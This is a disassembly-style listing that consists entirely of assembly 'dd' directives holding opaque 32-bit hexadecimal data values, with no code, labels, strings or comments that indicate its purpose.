		dd 18E0FE8Eh, 676084B2h, 845BEB0h, 0C2950FFh, 1B6930EDh
		dd 6C589B61h, 6A768F1Eh, 7843B200h, 8E2C39h, 7473535Eh
		dd 0EDF56FCBh, 0C133B00h, 4829B4CEh, 34FE3DD3h,	83934D80h
		dd 36625EFBh, 4075D7Bh,	7F2A5308h, 7A8D8200h, 0FD5C48E6h
		dd 70E0D800h, 61F3085Bh, 4A58C507h, 0F7404810h,	9A2019h
		dd 3BE8D340h, 4C8223Eh,	0EA7A4AECh, 0F3B2FC00h,	219C669Bh
		dd 5113000Dh, 5DA5A1C5h, 6C007DC9h, 0F8018EDAh,	4D42A4h
		dd 10B63E34h, 89DDBC1Eh, 52B08B00h, 269EADD0h, 9F87129Bh
		dd 0D61E0099h, 0C59429D1h, 5E6DF704h, 1493E7FCh, 932BA0E3h
		dd 0F89A26h, 0FF69F52Dh, 1A49D945h, 8891F33h, 8D21002Eh
		dd 0C5F681Dh, 0F40077FAh, 29125B52h, 0A0BCE19Dh, 15CCBBCh
		dd 46B4C6A5h, 0D0544E65h, 4015C3D2h, 1C8E477h, 4202E2D4h
		dd 5885F8B3h, 401A4F73h, 0DAE834DCh, 403C3383h,	3943097Eh
		dd 429C21A9h, 6C248763h, 6DBA0CF2h, 3079CCEEh, 0FFA48F26h
		dd 0E9DF3F01h, 88C48EDh, 8920AE54h, 0AFA4661Eh,	8F47EEC9h
		dd 9B73E014h, 1CF3842Bh, 0B05E555Bh, 0C7FD8868h, 5F90D000h
		dd 5025F122h, 19093C52h, 2861E502h, 1840C48Ch, 0E27365FFh
		dd 0D05C0E33h, 0AEE12EE0h, 0A469002Bh, 0A9F5F74Bh, 2B00EE71h
		dd 0D06CC0D6h, 29DC2DF2h, 0D3C07E5Bh, 0AAA160E4h, 827AC9h
		dd 76A5AABh, 0DD428AE6h, 1E3E94A8h, 538E3700h, 0AC0E34BEh
		dd 36F8016Ch, 78CF60C4h, 78806BF0h, 1943EC4Bh, 8ED040Ah
		dd 9103E4F4h, 0F7A41150h, 7965C830h, 7D1FF0CDh,	85520026h
		dd 7CB9B797h, 131FE450h, 33CE3EA5h, 577CEA8h, 8440ED41h
		dd 930FB5B6h, 6C800CD6h, 2D09E9B7h, 9620CB60h, 28870FB8h
		dd 346091h, 5EA651DCh, 96638465h, 17DF1E02h, 6B5C4EF5h
		dd 0B4209D58h, 1C39DA7Eh, 8090296Eh, 240C185Fh,	0FA60EEABh
		dd 573A2E51h, 65150094h, 0E334FF5Fh, 9F00C166h,	0D0649D4Fh
		dd 2C640BDh, 563810F7h,	0FC405EC4h, 0AF00CBFFh,	981D2AAAh
		dd 3055A9FCh, 74807F31h, 4DE86561h, 0BE727E00h,	0C85640F1h
		dd 0EE870EAEh, 63E29F8h, 0D07E4F85h, 0E605270Ah, 94702058h
		dd 30058C36h, 68A8B81Bh, 625B1890h, 0E09829h, 2DC920CAh
		dd 27CE49BFh, 0F8F95540h, 0F2A7006Bh, 84436763h, 5D007B66h
		dd 272B1D29h, 9E08E83h,	0C8FAC061h, 0C2EC5C02h,	7D350068h
		dd 0ABE9C407h, 0FAA1AC87h, 598A5F45h, 80B4F154h, 0F5D5D274h
		dd 820EAAA7h, 41FAF2D1h, 67176849h, 66A830h, 50D6A295h
		dd 47E9BA02h, 42B36100h, 577CE7BEh, 0ADD13159h,	8E58A5D0h
		dd 0A3653A61h, 90B82FDAh, 0BD05ACh, 3DB95EDBh, 1AC866ADh
		dd 0C1890200h, 0A83EE61Eh, 649A01E8h, 5B074A87h, 5E9050BAh
		dd 0F8A822D4h, 60A0A5EDh, 87009886h, 9A0DEC75h,	35DB69h
		dd 1E911B82h, 0AC1157D1h, 0ADF28800h, 0C08E9F77h, 4590A8D2h
		dd 29890C18h, 1E10E42Dh
		dd 490B2B00h, 0E39DCA87h, 9BDDF514h, 4623064h, 73BE4F5Eh
		dd 0D51C80B2h, 0E0AC8E56h, 62C60750h, 8DCB251h,	0EC8852E0h
		dd 21365C98h, 9D18D800h, 0FE65C299h, 1D004496h,	21F17D8Dh
		dd 823E0016h, 696BC611h, 4AEC77A3h, 78955024h, 9E306461h
		dd 8BD160h, 8D2162D2h, 0DC714673h, 5F4C11F6h, 0E0B68F98h
		dd 0D0AC45A0h, 0DF5B267Ah, 0D6720148h, 20491F5Dh, 1D138648h
		dd 50612913h, 43D86817h, 221643C9h, 0BF8B00F2h,	8AF53868h
		dd 0C10462DCh, 0E4E95E50h, 0BDC63894h, 5A7F470h, 0A8ED7E4Eh
		dd 678440D5h, 9D8B8418h, 541F7400h, 5B78F28h, 0A6020361h
		dd 17656250h, 0E818B809h, 0AE001058h, 0A5E17477h, 632E4454h
		dd 39A8D8B8h, 0D6820014h, 618EA2C2h, 0CA502C60h, 4100CBFCh
		dd 0F7C48669h, 4072058h, 0F30B9281h, 5CE091DEh,	45436083h
		dd 84F42D00h, 1BB64F37h, 69903B7h, 387EB9D5h, 0D0614000h
		dd 0F56CC62Eh, 4F0E0025h, 0E9147354h, 58F41663h, 100067Ah
		dd 700F699Ch, 0A4D65E5Dh, 0A7C17ECh, 3EBE0B3Ah,	0F5998C23h
		dd 0C6F1D0F1h, 0D0876069h, 17F4BFBDh, 0F0B48A2Eh, 0C5284582h
		dd 0D4D06026h, 7FBA1F71h, 0E71380B6h, 604FBE63h, 39D0C900h
		dd 3B6955A8h, 5CD4142Bh, 8FB020B5h, 0FA86B701h,	77120940h
		dd 0FC9842FBh, 8E040FBCh, 686E48D6h, 5B202C22h,	793F0FE6h
		dd 710606A0h, 0B8227E70h, 788E4F00h, 635658C3h,	156B2851h
		dd 24767CB4h, 7CB0C439h, 2A00E546h, 0F3057FABh,	7714B15Dh
		dd 1A9C58CEh, 0C04889C0h, 86EF9828h, 11A4803Bh,	38848745h
		dd 931600BBh, 1CD2EAA4h, 0C4CA721Fh, 0C0E90EA6h, 46686054h
		dd 0B60E260h, 0AA3BF528h, 69D068B0h, 593D3102h,	0D7C51320h
		dd 0A09838A6h, 0BF024646h, 90D68D0Fh, 80C88B30h, 0F00E7A8h
		dd 0E554FCABh, 92E9615Fh, 22AFAB4h, 1206ADE8h, 0E0A226A5h
		dd 0B4E4C472h, 5C2183Ah, 0C96C0668h, 1662AC00h,	776D1E79h
		dd 26A03EDh, 33D1B66Fh,	0C09DAE8Fh, 0E19E4C13h,	2902718Bh
		dd 55A02711h, 0F609FF83h, 0AA1DBE81h, 4274E00Eh, 949CA201h
		dd 0F98EF48Ch, 0ECEFC560h, 4DDF00F0h, 2531AD30h, 971E6959h
		dd 9D98A86Dh, 5128FA38h, 0F4F0EF01h, 0D1B3E7Eh,	0ED805C3Fh
		dd 0FA5B87B0h, 3900F904h, 34F50550h, 3859DA0Fh,	5400C3ADh
		dd 0C285AF19h, 9CC7F068h, 0C01C4C7h, 1885A022h,	0C341BD38h
		dd 2CD38D77h, 0E8B88C9Bh, 5E796A10h, 18C4963Bh,	0FA481B7Dh
		dd 8FB70034h, 8E01C777h, 1900587Ch, 0D15B0DBh, 5CAF5Bh
		dd 46FF28EBh, 2C0666BBh, 7DB9990Eh, 387F2CCCh, 55B80027h
		dd 2515FAF1h, 0D3007923h, 0D1A1F0C0h, 14B6A2A3h, 0BFEC2480h
		dd 0B16F8400h, 1EF2583Dh, 0A3ABED0Dh, 0C8804905h, 85B20928h
		dd 8CA0681Ah, 0E100D374h, 75695F7h, 0C03C11h, 6AFFA82h
		dd 0CC2A65F6h, 63C80826h, 52E66800h, 37CB10h, 2CFDD38Dh
		dd 0C1F1F496h, 85C784A0h, 68CF8900h, 8A1AC3DAh,	3879DDh
		dd 0A634910Fh, 0D76EE272h, 0CD62B700h, 60E896D5h, 24783D09h
		dd 280E4F18h, 25886F6Ah, 0F49F40CBh, 953911F1h,	141E5194h
		dd 4548FE00h, 9B9096C5h, 0F52E0E40h, 3C425194h,	0CA106208h
		dd 6A3C08h, 0A34C23C7h,	9400BC3Dh, 5F7EEA42h, 1DB90AE4h
		dd 2DF4E6h, 9059D46Eh, 300029C0h, 0AA7A552Fh, 1B0AD1h
		dd 0F45D9499h, 67FAAF1Ah, 9B5F5200h, 8C980BA0h,	0C0F60040h
		dd 0FFE6DE48h, 47006994h, 30C7EC25h, 0EF07AD5h,	828EADB5h
		dd 38676480h, 591DCE45h, 6BC0E94Ah, 0C929E806h,	52C43905h
		dd 0F12AED80h, 1758078Eh, 4E0B4A00h, 8FDB4162h,	54E446h
		dd 6A6B7365h, 0CC775D7Fh, 0BC669F00h, 0FD03C1EFh, 551900BDh
		dd 0AE0DF6DBh, 8628F9AAh, 8500D48Ch, 0B1F39DB3h, 3AC5019h
		dd 8FD2FF18h, 0BED082C4h, 0D50EC5E1h, 8D25CCh, 0BA38B750h
		dd 11370219h, 0FC7757B9h, 3E5C8160h, 0A739600h,	0CC286A87h
		dd 0CFE6008Dh, 0E27D4805h, 48C0C4D3h, 72E0C3C6h, 256725Fh
		dd 995D2BE7h, 20409193h, 0D93DE852h, 5AE38336h,	81D3B261h
		dd 573097BAh, 440300A1h, 3C542060h, 51002DB8h, 29B7EE5Ch
		dd 0EFC064h, 7BD531D0h,	2B213FF9h, 9B158E00h, 420B3E06h
		dd 0EDC03F4Fh, 0E7E9EA80h, 2937F3FAh, 2E8B6100h, 5F4E3DCCh
		dd 0E8FD3B0Bh, 6756AC80h, 9A29C741h, 3CB0B21Ch,	0DBD42647h
		dd 0E9C2F8F7h, 54CE41A7h, 79EEC8h, 5F754660h, 1D7EA8BDh
		dd 69AC1024h, 0E0D9280Fh, 0F6E77D85h, 41F66Bh, 0D80A84FCh
		dd 0D4CECA99h, 7C22000h, 246F7E34h, 358F6B1h, 76837D66h
		dd 35B07956h, 2F006E8Fh, 61CC9E0Bh, 2426BAE7h, 37773EACh
		dd 1AFFF07Eh, 0E3714395h, 7E00647Fh, 127149F2h,	1C3D58FEh
		dd 0FC23CD1Eh, 36AC03FFh, 93070F1Bh, 0C07EC3D1h, 92BDE1h
		dd 62035200h, 0CA9AA1B9h, 0AFD4007Dh, 1A2E448h,	0EE00CC06h
		dd 238461ADh, 0D4DE0h, 415D7CF2h, 62A77EACh, 0E10ADBE0h
		dd 0ECECC666h, 0E0809D1Eh, 137D041h, 3A9F0020h,	15125CB6h
		dd 0C6009760h, 0D543EBADh, 74E3337h, 0DBFA80C1h, 89FCA3FBh
		dd 203187E1h, 8D77E68Ch, 0DC057800h, 2BC40E8Fh,	25B70044h
		dd 400AE1C5h, 9000CE4Eh, 5CB43A31h, 3DB9214Ah, 268B99A9h
		dd 0F580AE49h, 7C386F6Bh, 0AFF58A00h, 0FC199A30h, 12173D2h
		dd 0F0DE45C4h, 0C4BE40D5h, 0BD0EE0BCh, 20FACB90h, 0A0469A7Ch
		dd 6E650783h, 6616EAh, 0D39C1F9h, 0D898C700h, 245BAB18h
		dd 7ED30002h, 6C32A4D9h, 0C0F2138Dh, 2BFAB20Bh,	88478075h
		dd 7DDEBCEh, 324D9FEDh,	1681C067h, 2D05868Ch, 122687CAh
		dd 0DDD88A00h, 5E85C6F6h, 7E9DF081h, 9CB2CA06h,	0E034B436h
		dd 0E2A00FCh, 449B698h,	24FA6594h, 439BDA05h, 0F2871EEDh
		dd 0F2EFF840h, 43DFA28h, 37C5AFE8h, 62248068h, 0B500ECA5h
		dd 2B198785h, 0A69298h,	0E0D9B16Eh, 94508491h, 0CB343600h
		dd 0D087CBCh, 0B161009Fh, 0C0CA38B3h, 0FF002C98h, 0E0C22F4Ah
		dd 184FA8DDh, 0FACB0899h, 1600AC53h, 0CA3FAD6Ah, 635918h
		dd 3C3A39B0h, 13F8F3A6h, 417B1512h, 0BCF63200h,	3BF0BCDh
		dd 0B1B53E21h, 0A8015371h, 0C4ADD85h, 78306C76h, 0A3213E17h
		dd 32227080h, 86429CE0h, 0A7003C90h, 6BD5C001h,	2CA4FC2Bh
		dd 3DB2917h, 847406DCh,	0C4B9D490h, 0FC00A37Dh,	28323F4Ch
		dd 0EE21EFh, 94244931h,	0FBB98AA1h, 0A48F8C38h,	19000059h
		dd 0CACEDF07h, 0F0E50084h, 0F7D4C6F2h, 0A2240617h, 39AC36h
		dd 9B95AD54h, 858E46h, 0DB51DEA3h, 0DAB67782h, 8BCE6B07h
		dd 0D9832CF9h, 0A6F2F09Dh, 0F32307BBh, 649E87C1h, 0D184C044h
		dd 0E1BF92Bh, 83E06B32h, 4035AAA2h, 2C1807F8h, 0C07155h
		dd 60305C69h, 8498DE7Ch, 0B0B93200h, 1EDC8DBh, 7E0AE892h
		dd 85E2054Fh, 833F5667h, 0EBCCAD58h, 1D205080h,	2A9400C7h
		dd 0ACEF7FA4h, 0A30A5E23h, 0A565B7DFh, 68DB6000h, 0E3C39FDh
		dd 2B700341h, 0EF2CDD4Fh, 0AACE9982h, 9CABA031h, 6024986Ch
		dd 0CC48E865h, 0AF00E113h, 0A8FC3852h, 8F86D1h,	75D8D006h
		dd 8CD7C373h, 0ADC85900h, 2148B2BDh, 0CEA700A0h, 982395F1h
		dd 0EF263D88h, 0B906E4B0h, 13C0DFFEh, 3077F0h, 17A9F930h
		dd 0B51D1D25h, 0BAC066D5h, 0D441D9FAh, 0CEB21EDFh, 47F14080h
		dd 9D176856h, 0A30AA900h, 7FBEF9E5h, 0A4BD0019h, 0A1E1CA4Bh
		dd 40093FC9h, 64696B5h,	0E4B36Bh, 178DAAA9h, 25917832h
		dd 42BD6100h, 7AD455CAh
		dd 0DFED1D2Ah, 5DF00082h, 304E3A15h, 45364100h,	65EBB17Bh
		dd 16F032h, 54E16901h, 124E1167h, 800B6FEh, 346E35C3h
		dd 0ED4E8B2h, 9C0A60AEh, 5720D86Fh, 18027DE9h, 91003BE8h
		dd 27A6A55Ah, 61EE22h, 136FE0CCh, 5D426D80h, 0F32B3700h
		dd 2DD14335h, 754000C1h, 367E8112h, 0E5E2D2D3h,	550E9600h
		dd 4F4C9C35h, 2E5100CFh, 9D664E60h, 6E3DE82Bh, 81C4801Bh
		dd 1C0A9854h, 5AEC00E6h, 67D263FFh, 360A24D4h, 0FF6E17C3h
		dd 32F58039h, 0FCC2ECAEh, 6B5500E2h, 1AD707D9h,	6D00172Ah
		dd 90442404h, 98D9413h,	857CCBBFh, 71399B00h, 0C03FDB5Fh
		dd 0B33EF9C2h, 0F73104F1h, 0B2C0A6ABh, 124814Eh, 3CD357C5h
		dd 0C7D192AAh, 4E9058h,	0F0A4EEE2h, 1C174BC7h, 89742D8Bh
		dd 48E1943h, 0E24A60E0h, 8602BC7Eh, 3EB80E1Dh, 89E460F8h
		dd 8D5A0E71h, 6E804D76h, 59D6196Fh, 0E2E1701Fh,	0F1C9ADC0h
		dd 8B38C8h, 5EF6E92Bh, 0A2BD5B82h, 0D514CA76h, 0E7CFDF0h
		dd 80A0C7F3h, 1470A373h, 7C914992h, 46F9D80Fh, 3D58AA0h
		dd 0EB002978h, 0A89BCAC0h, 7773A195h, 69260197h, 24F68A7h
		dd 5F27D02Ah, 0D5393B0Eh, 2ED22009h, 0FF1DFDh, 458B84C1h
		dd 126B3A87h, 2900067Fh, 3E0D01DCh, 0F11394h, 7A5AFEBh
		dd 0F73C593Fh, 0BC03FD71h, 0B8096A1Bh, 532EC0CFh, 1710004Fh
		dd 169326C0h, 0B730412Fh, 77E338AEh, 9B79031Ah,	2572D7BCh
		dd 0B6E2CAF0h, 5B6C440Bh, 896C80C5h, 48C2FC9Ah,	131FF43Fh
		dd 3BB0011Ah, 30CC1486h, 8F000444h, 17D02CF1h, 0F958AA0h
		dd 372A7E91h, 2DD52540h, 9C00A1BFh, 0D8224FE2h,	849419h
		dd 0E3FF9AE6h, 0A23F99D3h, 0A3591B0Eh, 5A1C207Eh, 8A5DA9h
		dd 0DF5BBA26h, 0DCC654D6h, 0D5272800h, 9D7B92Fh, 50730042h
		dd 926B6E72h, 221898A8h, 62A8614Ah, 0E720015Fh,	1C45DB5Bh
		dd 51C084FBh, 24C0EF0Eh, 680A58h, 0B7821511h, 0CA0DFF19h
		dd 0FD2FA000h, 33C0E631h, 5DF1FC05h, 2E0064C6h,	0D30F61ECh
		dd 0B6189B32h, 94183DBAh, 6E29050Bh, 13DD45B7h,	66540388h
		dd 7A90D2F8h, 0BE743B32h, 47ACEB24h, 0F295C100h, 37EACFh
		dd 8A1DCC8h, 0DAADC27Ch, 1A351000h, 0E8170616h,	0AAEC07BFh
		dd 0F387E39Ch, 0DAF85B74h, 0CE21B14h, 71ABBC00h, 207A789Eh
		dd 407357h, 0FBE0A1F6h,	0C60CC01Eh, 3F3EDBFAh, 8AC81F41h
		dd 3BA89840h, 58877BFFh, 589F2CE3h, 0D0B9B02Ch,	4FCD5D00h
		dd 657ED773h, 60E60072h, 0D9C4C85Eh, 3500CC18h,	0ECAA9CB1h
		dd 0A02629h, 596EBFA5h,	9DF4771Eh, 0AE448204h, 0E481AA7Bh
		dd 0BADC8FECh, 0F54F0097h, 92E6CC3h, 0E2006306h, 0D430B382h
		dd 0A069495Fh, 9D1A9Ch,	9ECDB64Ch, 3328CBF2h, 60D44600h
		dd 34E291D2h, 0DC510019h, 365B7A17h, 6071A40h, 0CB8A3C12h
		dd 2D4F8C20h, 0EEF6B9h,	8BC99FE8h, 6611D85h, 32155900h
		dd 0CD34A6E1h, 48A300ABh, 4026CF1h, 0E81E704Bh,	24C77B8Ch
		dd 58C069E5h, 0E90A519h, 12C93298h, 421A03A0h, 1D72F90Ah
		dd 0BAFE7571h, 4986BB04h, 9090A172h, 0BF3532h, 0FA0D73F2h
		dd 9432305h, 0A458DD3Bh, 600381Eh, 83B37A57h, 4E1C091Bh
		dd 0FC80E825h, 68D8ABBFh, 37E47577h, 7357D90Fh,	802CE969h
		dd 0C042D483h, 88C400EFh, 288BF9B4h, 2326B8CDh,	0ED046802h
		dd 0C8A05642h, 0DF77E4B1h, 7FAEC078h, 0A7EEB02Eh, 3DD0E700h
		dd 0B3C1066Bh, 908900DFh, 734B2F9Fh, 0A0C1695Dh, 968424D5h
		dd 5E0EF708h, 806493B2h, 48C46CC2h, 5F120070h, 7CBC1D82h
		dd 75005BE3h, 2C54CF88h, 769E3143h, 0F99C0C42h,	3C703896h
		dd 8300A27Bh, 8198AFE2h, 0C068A52Ah, 0DB17AB60h, 20401811h
		dd 154900B8h, 0B3B40507h, 540A7142h, 0B03CA2B2h, 806CFB09h
		dd 743FAF40h, 0EC7B57h,	76BADB55h, 519E95E1h, 30DDF10Eh
		dd 0D0016D5h, 0D42006FDh, 326F2846h, 0B8160BA1h, 0E5871C57h
		dd 7447C0E0h, 4D0053FEh, 0F7DB54D2h, 58BCFBDh, 9AB34F5Fh
		dd 2ACFC3ABh, 0D4981450h, 0A0EBFA02h, 40DD681Eh, 732E06Ah
		dd 0D228416Ah, 633CB384h, 1D875E88h, 12709667h,	0EC5A804Fh
		dd 0FD08A8Bh, 0FBDC3E06h, 74C8E6A1h, 0F308F00Ah, 39FA5E03h
		dd 92C90664h, 0B1C0260h, 7F7840C6h, 0D0AD4509h,	20128EB7h
		dd 708DB4C9h, 68DC000Eh, 6708C805h, 282CB26Dh, 0A200FA64h
		dd 0F7A745EEh, 75573DE0h, 8656FB81h, 0F221D085h, 35D5B1E0h
		dd 0E3E7A600h, 7D0FDB98h, 0BE641C5Bh, 1B2CC00Bh, 45B3FEA4h
		dd 48714900h, 9559AC12h, 0E6B00021h, 0B840F71Fh, 0B50A3CB1h
		dd 0D8F82F2Ah, 0E16014A4h, 3B1570h, 3A23D0DDh, 0B085B463h
		dd 0CFA33F00h, 7173DBA5h, 5C971FE5h, 0CA26C0BCh, 692C2F82h
		dd 80932A3Dh, 0AE7E4429h, 0BA09Ah, 622BB39Ch, 8E33BC46h
		dd 1E98C024h, 0CA950Bh,	0CF95150h, 0C51096F6h, 70EAC01Ch
		dd 0F4E590C5h, 8E004F85h, 0A7C8D853h, 79675A2Ah, 8D020327h
		dd 0E9E518D2h, 1CC450B2h, 7F385700h, 41DB9A7Ch,	5B3001B1h
		dd 20BA1CAh, 7B3480B7h,	132B852Dh, 57C600DDh, 559CDC18h
		dd 0B6034779h, 8505E9B2h, 0FE7790DBh, 94305044h, 401496D1h
		dd 23BA8A92h, 0FF1B9300h, 0B8B13929h, 754201A0h, 2632C4CEh
		dd 932EC00Dh, 0ABDC6200h, 0C5406ABAh, 8C9B59CCh, 1732A800h
		dd 8D85DAAFh, 0CF683B00h, 60CC5D31h, 0ACF912AAh, 296844ABh
		dd 0C6D0D08Ch, 109A0E32h, 8879F31Eh, 91FBBAC0h,	0DD4473h
		dd 1596D6B4h, 35666F1Dh, 0B600847Bh, 0B9AEF194h, 0B746CAh
		dd 91DF0CB2h, 0EA70980Dh, 0AD07A400h, 214A2041h, 872D1727h
		dd 0FF7400F2h, 2F799866h, 0A3535800h, 65E6437Fh, 0AC4D0077h
		dd 0BDD2FCCCh, 100EADBh, 64AD3466h, 0C1A0DCh, 0E6BE3CA7h
		dd 0B0EF30D2h, 0F56A2C1Eh, 64E77140h, 2C519B15h, 0B9001E88h
		dd 75FF01FFh, 0D72ABD3Ah, 0FC0F21F8h, 0CC007A08h, 10A58E96h
		dd 7BC25F8Dh, 1E91714Fh, 415BE248h, 12E56130h, 0F5C4F8DCh
		dd 45ABCCE1h, 483CF400h, 6CF9B03Ah, 0AE1A05FFh,	0C08CB979h
		dd 0D04C3595h, 99A36207h, 0A6E0CB14h, 0F95857F0h, 489CED0h
		dd 0CC0A6A13h, 2914D03Dh, 0D0023ACBh, 0CFC8FB37h, 237040AEh
		dd 0EEF00184h, 2E0A7278h, 242CEBh, 0B9ADA683h, 86A3E6h
		dd 43B4908Dh, 371EE19Dh, 0B8FED700h, 357713D9h,	24B67489h
		dd 93C8DBAEh, 0E5A020C1h, 57F454ADh, 986026h, 19812700h
		dd 1BC64EAh, 9FD953C8h,	0D8479D9Eh, 0A70242ABh,	833DDEA3h
		dd 0B0DC5009h, 0ECA20056h, 8069541Fh, 8B004968h, 28022E92h
		dd 717D19Ch, 7388E87Bh,	0C5C4D0CAh, 0E4009562h,	7E570B68h
		dd 0A74454h, 0D4823426h, 0D22A19FBh, 78B068F8h,	5CFF5300h
		dd 8BEFB062h, 0A1AE00F4h, 68F62CBCh, 0A70148FAh, 743EC094h
		dd 9C706008h, 6EFC0110h, 71AAF1B6h, 41496035h, 0E7DD9B00h
		dd 68E9D273h, 409E0050h, 84AF4B1Eh, 0D10326C0h,	7BAAB2BDh
		dd 0F7EF812h, 2C4D7E32h, 6C54E9h, 4498B88Bh, 9F00BBD9h
		dd 993C6C49h, 53BE09h, 50E96940h, 93F310A4h, 1F708C58h
		dd 61CFC6EDh, 13DCBC99h, 453DDF00h, 48D3C363h, 280ED4FEh
		dd 87030BAFh, 0ABE0AAB9h, 354853E8h, 6D4604C0h,	5CD065CEh
		dd 0B5FEFDh, 72607990h,	8E246EE8h, 4005B4Fh, 197DE00Ah
		dd 5D5C2C1Fh, 0A31C29h,	0F1729769h, 5800ABB0h, 7E95CDD2h
		dd 138D63h, 0EFB22589h,	927581D5h, 395CCA63h, 545002A1h
		dd 72C3B55Fh, 9E6DAB80h
		dd 9A3E0AA9h, 67B8ACAAh, 49009C17h, 0D01156CAh,	1CD7174h
		dd 1DD33959h, 0D5E7C4E5h, 2A15EC0Ch, 3B0F6F00h,	59E24531h
		dd 8EA43A6Ch, 26CB0580h, 12A37522h, 5C431C01h, 1852046Ah
		dd 0F45860h, 0A6FCC3Ah,	8D9FB775h, 2CF1230Bh, 6C900B8h
		dd 3B030DFEh, 7C807D20h, 4ABDC826h, 0E201882Fh,	0EC64AE2Bh
		dd 0C02BCD7Ah, 55014E2h, 10C03750h, 931FF917h, 0C288F500h
		dd 7E028320h, 8ACB2CEAh, 0F84400B8h, 0BC4095A7h, 8084013Dh
		dd 0A246B782h, 5C238Fh,	0E37EC85Bh, 0A0BB1322h,	6F59C409h
		dd 5830820Bh, 0FA44F0D9h, 31DCE318h, 71E90CDEh,	0D661CA6Dh
		dd 0C690C000h, 0EEC30D56h, 21A70FEh, 0C7E1C917h, 5C60CC7Bh
		dd 0C67E51EAh, 0BE6B223Ah, 4D681CC8h, 8A15AF01h, 0EEF0C3C4h
		dd 0E49B4D3Eh, 0DDE1400h, 2044EAD5h, 4BE7F41Dh,	75B18900h
		dd 7DC11BAh, 96831386h,	8FE4C24Ch, 0D7C4B9C0h, 0B6EAF019h
		dd 80BCEC50h, 1491048Ch, 0FC1DC8A0h, 0F84035F7h, 0B170E998h
		dd 0C8726037h, 7959E0CFh, 1AACB1D8h, 0FB603AC3h, 96ED6F0Fh
		dd 0FB8AA46Dh, 38AEE4A8h, 0DEB1500h, 0CEA2FA84h, 92E8C0h
		dd 0C54AACC9h, 4472547Bh, 0B3B818FCh, 585F3A01h, 6C5DDFBCh
		dd 1B870F0h, 26B495F3h,	0DF917ADCh, 0F15965C0h,	58CF9CF6h
		dd 0E7580C4h, 14C06139h, 0BC2913D8h, 0BE256F80h, 0F40752D5h
		dd 0BB4C9AE8h, 7832863Eh, 5FE220h, 0EDD742BEh, 3A83C290h
		dd 0D5CA3500h, 0BC801020h, 258700E7h, 1785D8D6h, 5E5ABA1Ah
		dd 6900801Eh, 0EEF92C47h, 0FB193916h, 0D0D509EFh, 2FDC4901h
		dd 80283674h, 0AD35E71h, 15A1AA7h, 0F1952651h, 0CCF5B41Bh
		dd 61E3443h, 0F827102Fh, 49896C75h, 5D435078h, 0E72DF101h
		dd 0C1B66E1h, 0D9FF8815h, 0EB4F2F00h, 0A34C0F31h, 0C0361C6Dh
		dd 15870FEh, 90C0C565h,	944FD893h, 10BD078Dh, 70376930h
		dd 0DE732A72h, 0EBFC7400h, 0D55EDB4Ah, 596E160Fh, 326A0021h
		dd 51788684h, 6138A218h, 7CD17C18h, 6D5B0133h, 0F72C3415h
		dd 7FD2E030h, 172C96F8h, 0FF004FC1h, 71767945h,	0AA8300BFh
		dd 0C9699ABEh, 780726E7h, 0A13A10DDh, 63DA009Eh, 1E88046h
		dd 5C576CBFh, 602615E6h, 36399F21h, 903D53h, 2965F470h
		dd 35A1FFh, 0B6D7D31Bh,	6E8413DEh, 39992003h, 0E0317775h
		dd 0F1FFD17Fh, 28BD1AF1h, 2DE31C80h, 0BE7CC8Eh,	0CF406607h
		dd 65A0A144h, 7BA7ABB7h, 429200B1h, 0DEA9AD61h,	58C0D037h
		dd 9D227ED6h, 92090776h, 1C6DE333h, 0FE386618h,	0B66A03B2h
		dd 0BEA746h, 55CB6C30h,	0AD6B2A32h, 0B97F9500h,	82147134h
		dd 1591CF3Dh, 0ADB6C9C0h, 0DEE69D0Fh, 2EBA2300h, 26C83249h
		dd 6E091C45h, 0FDBF8638h, 0AE18581Dh, 6407F29h,	5A9800D8h
		dd 0F6500B10h, 0E40061A8h, 88305C0h, 7918263h, 212BD9B7h
		dd 0A9F9A0A6h, 29602346h, 4E5B63D1h, 77B026h, 0D9381DFh
		dd 1EA26988h, 0B958C4F6h, 0D23D0055h, 173EEA1Fh, 0CBD51F64h
		dd 465C39h, 95072A74h, 5C0E8092h, 0A00E912Ch, 0B982BD15h
		dd 0B6A20032h, 0A04A277Fh, 65008679h, 4D0AB5C2h, 6DB9E0h
		dd 0EEBD168Dh, 8E1DE7C3h, 5403FB90h, 211A8F3Dh,	95DF0B4h
		dd 0BF8D0F0Bh, 0F64357DEh, 291198FBh, 0D3082879h, 63047293h
		dd 17025619h, 250523A3h, 0A5682806h, 2D72229h, 61884A76h
		dd 0D05A8890h, 0D009DB89h, 6D8032FEh, 1B7A8Bh, 69601F70h
		dd 0F4D20F81h, 0F93C0E00h, 0E1B55572h, 58EC005Fh, 60305E6Bh
		dd 42005066h, 31C1E8A0h, 0FCCFD111h, 0C2D900A6h, 4C1BBFB7h
		dd 0B924FE15h, 0CA00F95Fh, 0DC803108h, 992100C1h, 463B4A59h
		dd 0C500879Dh, 91189C7Fh, 0ECFFF9h, 88983E6Fh, 2B957CEFh
		dd 58DBF700h, 79C0AEDh,	6E0300CDh, 0A7351D78h, 0B5001FD3h
		dd 805D63ABh, 104199Dh,	6F966729h, 20331099h, 0B300BC2Ah
		dd 0D0798707h, 389CB5DFh, 0CC003520h, 946BAC19h, 0A20077ABh
		dd 53A9F1EDh, 0E2C8032h, 0AFD54D58h, 741E120h, 0FF0057C8h
		dd 6F1B492h, 695221h, 7D977613h, 81EF3442h, 56BAF800h
		dd 79AE78DCh, 72290085h, 83C845FBh, 20017A7Bh, 2A3EC2B8h
		dd 44200E1Dh, 0A2840003h, 0A3E847C7h, 0E20070B1h, 0C14515D3h
		dd 50B564Bh, 63DE9997h,	0D800BFDAh, 0AACB09B8h,	0FF8E0036h
		dd 1ED99D2Dh, 4D3D5F0Ch, 2EB580A5h, 0EA91E116h,	2DDF0362h
		dd 250574Fh, 3BC47490h,	0BAE04000h, 97BDDB64h, 71B7009Ah
		dd 75447095h, 130358E1h, 0CF1FDC0Fh, 0B129C008h, 0C5E022Bh
		dd 67D0FE48h, 3996D40h,	66A6C500h, 54B37A0Dh, 0EC4500B2h
		dd 37BA6862h, 0E0C02A90h, 331B8273h, 2D6F0002h,	1EE5374h
		dd 3800B749h, 540DF948h, 128EBF1h, 0C060B9D0h, 87708769h
		dd 0B518E460h, 0CFAC5B10h, 0C6222EB1h, 16143940h, 8006CF5h
		dd 6B5F4BFEh, 8F009D17h, 4DF2D9B1h, 1AABA07h, 21CB1A77h
		dd 819EC746h, 0D030A210h, 0FFF535F3h, 125D43E8h, 0FE4528h
		dd 2229E34Ch, 0EDF44963h, 0E42A0101h, 77D6E9ABh, 2C0B6E0h
		dd 4E5A696Ch, 966050A8h, 0D003E76Ah, 0A4DDAE0Fh, 0E309D988h
